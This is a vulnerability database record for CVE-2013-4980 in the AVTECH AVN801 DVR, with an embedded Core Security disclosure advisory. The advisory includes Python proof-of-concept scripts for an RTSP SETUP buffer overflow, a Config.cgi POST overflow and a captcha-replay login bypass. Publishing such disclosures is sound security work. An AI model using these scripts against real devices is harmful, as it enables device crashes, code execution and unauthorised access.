ID

VAR-201403-0123


CVE

CVE-2013-4980


TITLE

AVTECH AVN801 Remote Buffer Overflow Vulnerability

Trust: 1.2

sources: CNVD: CNVD-2013-12744 // CNNVD: CNNVD-201308-456

DESCRIPTION

Buffer overflow in the RTSP Packet Handler in AVTECH AVN801 DVR with firmware 1017-1003-1009-1003 and earlier, and possibly other devices, allows remote attackers to cause a denial of service (device crash) and possibly execute arbitrary code via a long string in the URI in an RTSP SETUP request. AVTECH AVN801 is a digital video recorder product. When AVTECH AVN801 runs firmware version 1017-1003-1009-1003, the RTSP message handler handles the RTSP transaction with a buffer overflow vulnerability that does not require authentication. A remote attacker can cause device crashes and remote code execution. AVTECH AVN801 is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary-checks on user-supplied data. Failed exploit attempts may result in a denial-of-service condition. AVTECH AVN801 running firmware version 1017-1003-1009-1003 is vulnerable. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ AVTECH DVR multiple vulnerabilities 1. *Advisory Information* Title: AVTECH DVR multiple vulnerabilities Advisory ID: CORE-2013-0726 Advisory URL: http://www.coresecurity.com/advisories/avtech-dvr-multiple-vulnerabilities Date published: 2013-08-28 Date of last update: 2013-08-28 Vendors contacted: AVTECH Corporation Release mode: User release 2. *Vulnerability Information* Class: Buffer overflow [CWE-119], Buffer overflow [CWE-119], Improper Access Control [CWE-284] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-4980, CVE-2013-4981, CVE-2013-4982 3. *Vulnerability Description* Multiple vulnerabilities have been found in AVTECH AVN801 DVR [1] (and potentially other devices sharing the affected firmware) that could allow a remote attacker: 1. 2. [CVE-2013-4981] To execute arbitrary code without authentication by exploiting a buffer overflow in '/cgi-bin/user/Config.cgi', via a specially crafted HTTP POST request. 3. [CVE-2013-4982] To bypass the captcha of the administration login console enabling several automated attack vectors. 4. *Vulnerable Packages* . DVR 4CH H.264 (AVTECH AVN801) firmware 1017-1003-1009-1003. Older versions are probably affected too, but they were not checked. 5. *Vendor Information, Solutions and Workarounds* There was no official answer from AVTECH support team after several attempts (see [Sec. 8]); contact vendor for further information. Some mitigation actions may be: . Do not expose the DVR to internet unless absolutely necessary. Have at least one proxy filtering the 'SETUP' parameter in RTSP requests. Have at least one proxy filtering the 'Network.SMTP.Receivers' parameter in HTTP requests to '/cgi-bin/user/Config.cgi'. 6. *Credits* [CVE-2013-4980] was discovered and researched by Anibal Sacco from Core Security Exploit Writers Team. [CVE-2013-4981] and [CVE-2013-4982] were discovered and researched by Facundo Pantaleo from Core Security Consulting Team. 7. *Technical Description / Proof of Concept Code* 7.1. /----- import socket HOST = '192.168.1.1' PORT = 554 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) trigger_pkt = "SETUP Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2AaLSaLS RTSP/1.0\r\n" trigger_pkt += "CSeq: 1\r\n" trigger_pkt += "User-Agent: VLC media player (LIVE555 Streaming Media v2010.02.10)\r\n\r\n" print "[*] Sending trigger" s.sendall(trigger_pkt) data = s.recv(1024) print '[*] Response:', repr(data), "\r\n" s.close() -----/ 7.2. *Buffer Overflow in config.cgi Parameters* [CVE-2013-4981] The following Python script exploits other buffer overflow condition; no authentication is required. /----- import httplib ip = "192.168.1.1" conn = httplib.HTTPConnection(ip) conn.request("POST", "/cgi-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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1") resp = conn.getresponse() print resp.read() -----/ 7.3. *CAPTCHA Bypass* [CVE-2013-4982] The following Python proof of concept sends a wrong captcha in first place (just to verify that captcha protection is enabled); then, it sends ten requests with an arbitrary hardcoded captcha and its matching verification code. As a result, the captcha protection can by completely bypassed. /----- import httplib ip = "192.168.1.1" print "Performing captcha replay with hardcoded wrong captcha code and verify code..." conn = httplib.HTTPConnection(ip) conn.request("GET", "/cgi-bin/nobody/VerifyCode.cgi?account=YWRtaW46YWRtaW4=&captcha_code=FMUA&verify_code=FMUYyLOivRpgc HTTP/1.1") resp = conn.getresponse() print "Reading webpage..." print resp.read() print "Performing several captcha replays with hardcoded right captcha code and verify code..." for i in range(1, 10): conn = httplib.HTTPConnection(ip) conn.request("GET", "/cgi-bin/nobody/VerifyCode.cgi?account=YWRtaW46YWRtaW4=&captcha_code=FMUF&verify_code=FMUYyLOivRpgc HTTP/1.1") resp = conn.getresponse() print "Reading webpage..." print resp.read() -----/ 8. *Report Timeline* . 2013-08-06: Core Security Technologies attempts to contact vendor using the AVTECH official technical support contact page [2]. No reply received. 2013-08-12: Core attempts to contact vendor. 2013-08-20: Core attempts to contact vendor. 2013-08-28: After 3 attempts to contact vendor, the advisory CORE-2013-0726 is released as 'user release'. 9. *References* [1] http://www.avtech.com.tw. [2] http://www.avtech.com.tw/index.php?option=com_content&view=article&id=244&Itemid=453&lang=en. 10. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. *Disclaimer* The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/. 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

Trust: 2.61

sources: NVD: CVE-2013-4980 // JVNDB: JVNDB-2013-006099 // CNVD: CNVD-2013-12744 // BID: 62033 // VULHUB: VHN-64982 // PACKETSTORM: 122998

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2013-12744

AFFECTED PRODUCTS

vendor:avtechmodel:avn801 dvrscope:lteversion:1017-1003-1009-1003

Trust: 1.0

vendor:avtechmodel:avn801 dvrscope:eqversion: -

Trust: 1.0

vendor:avtechmodel:avn801scope:eqversion:1017-1003-1009-1003

Trust: 0.9

vendor:avtechmodel:avn801scope: - version: -

Trust: 0.8

vendor:avtechmodel:avn801scope:lteversion:1017-1003-1009-1003

Trust: 0.8

vendor:avtechmodel:avn801 dvrscope:eqversion:1017-1003-1009-1003

Trust: 0.6

sources: CNVD: CNVD-2013-12744 // BID: 62033 // JVNDB: JVNDB-2013-006099 // CNNVD: CNNVD-201308-456 // NVD: CVE-2013-4980

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2013-4980
value: HIGH

Trust: 1.0

NVD: CVE-2013-4980
value: HIGH

Trust: 0.8

CNVD: CNVD-2013-12744
value: HIGH

Trust: 0.6

CNNVD: CNNVD-201308-456
value: CRITICAL

Trust: 0.6

VULHUB: VHN-64982
value: HIGH

Trust: 0.1

nvd@nist.gov: CVE-2013-4980
severity: HIGH
baseScore: 9.0
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: COMPLETE
exploitabilityScore: 10.0
impactScore: 8.5
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

CNVD: CNVD-2013-12744
severity: HIGH
baseScore: 7.5
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

VULHUB: VHN-64982
severity: HIGH
baseScore: 9.0
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: COMPLETE
exploitabilityScore: 10.0
impactScore: 8.5
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

sources: CNVD: CNVD-2013-12744 // VULHUB: VHN-64982 // JVNDB: JVNDB-2013-006099 // CNNVD: CNNVD-201308-456 // NVD: CVE-2013-4980

PROBLEMTYPE DATA

problemtype:CWE-119

Trust: 1.9

sources: VULHUB: VHN-64982 // JVNDB: JVNDB-2013-006099 // NVD: CVE-2013-4980

THREAT TYPE

remote

Trust: 0.7

sources: PACKETSTORM: 122998 // CNNVD: CNNVD-201308-456

TYPE

buffer overflow

Trust: 0.6

sources: CNNVD: CNNVD-201308-456

CONFIGURATIONS

sources: JVNDB: JVNDB-2013-006099

EXPLOIT AVAILABILITY

sources: VULHUB: VHN-64982

PATCH

title:AVN801url:http://www.avtech.com.tw/index.php?option=com_k2&view=item&id=71

Trust: 0.8

sources: JVNDB: JVNDB-2013-006099

EXTERNAL IDS

db:NVDid:CVE-2013-4980

Trust: 3.5

db:OSVDBid:96692

Trust: 2.5

db:BIDid:62033

Trust: 1.6

db:JVNDBid:JVNDB-2013-006099

Trust: 0.8

db:CNNVDid:CNNVD-201308-456

Trust: 0.7

db:CNVDid:CNVD-2013-12744

Trust: 0.6

db:FULLDISCid:20130828 CORE-2013-0726 - AVTECH DVR MULTIPLE VULNERABILITIES

Trust: 0.6

db:PACKETSTORMid:122998

Trust: 0.2

db:EXPLOIT-DBid:27942

Trust: 0.1

db:SEEBUGid:SSVID-81529

Trust: 0.1

db:VULHUBid:VHN-64982

Trust: 0.1

sources: CNVD: CNVD-2013-12744 // VULHUB: VHN-64982 // BID: 62033 // JVNDB: JVNDB-2013-006099 // PACKETSTORM: 122998 // CNNVD: CNNVD-201308-456 // NVD: CVE-2013-4980

REFERENCES

url:http://www.coresecurity.com/advisories/avtech-dvr-multiple-vulnerabilities

Trust: 2.9

url:http://osvdb.org/96692

Trust: 2.5

url:http://seclists.org/fulldisclosure/2013/aug/284

Trust: 2.3

url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-4980

Trust: 0.8

url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2013-4980

Trust: 0.8

url:http://www.securityfocus.com/bid/62033

Trust: 0.6

url:http://www.avtech.com.tw/index.php?option=com_k2&view=item&id=71

Trust: 0.3

url:https://nvd.nist.gov/vuln/detail/cve-2013-4981

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-4982

Trust: 0.1

url:http://creativecommons.org/licenses/by-nc-sa/3.0/us/.

Trust: 0.1

url:http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

Trust: 0.1

url:http://corelabs.coresecurity.com/

Trust: 0.1

url:http://www.avtech.com.tw/index.php?option=com_content&view=article&id=244&itemid=453&lang=en.

Trust: 0.1

url:http://www.coresecurity.com.

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-4980

Trust: 0.1

url:http://www.avtech.com.tw.

Trust: 0.1

url:http://corelabs.coresecurity.com.

Trust: 0.1

sources: CNVD: CNVD-2013-12744 // VULHUB: VHN-64982 // BID: 62033 // JVNDB: JVNDB-2013-006099 // PACKETSTORM: 122998 // CNNVD: CNNVD-201308-456 // NVD: CVE-2013-4980

CREDITS

Anibal Sacco of Core Security

Trust: 0.9

sources: BID: 62033 // CNNVD: CNNVD-201308-456

SOURCES

db:CNVDid:CNVD-2013-12744
db:VULHUBid:VHN-64982
db:BIDid:62033
db:JVNDBid:JVNDB-2013-006099
db:PACKETSTORMid:122998
db:CNNVDid:CNNVD-201308-456
db:NVDid:CVE-2013-4980

LAST UPDATE DATE

2025-04-13T23:10:19.164000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2013-12744date:2013-09-03T00:00:00
db:VULHUBid:VHN-64982date:2014-03-04T00:00:00
db:BIDid:62033date:2013-08-28T00:00:00
db:JVNDBid:JVNDB-2013-006099date:2014-03-05T00:00:00
db:CNNVDid:CNNVD-201308-456date:2014-03-04T00:00:00
db:NVDid:CVE-2013-4980date:2025-04-12T10:46:40.837

SOURCES RELEASE DATE

db:CNVDid:CNVD-2013-12744date:2013-09-03T00:00:00
db:VULHUBid:VHN-64982date:2014-03-03T00:00:00
db:BIDid:62033date:2013-08-28T00:00:00
db:JVNDBid:JVNDB-2013-006099date:2014-03-05T00:00:00
db:PACKETSTORMid:122998date:2013-08-28T23:44:44
db:CNNVDid:CNNVD-201308-456date:2013-08-29T00:00:00
db:NVDid:CVE-2013-4980date:2014-03-03T16:55:04.117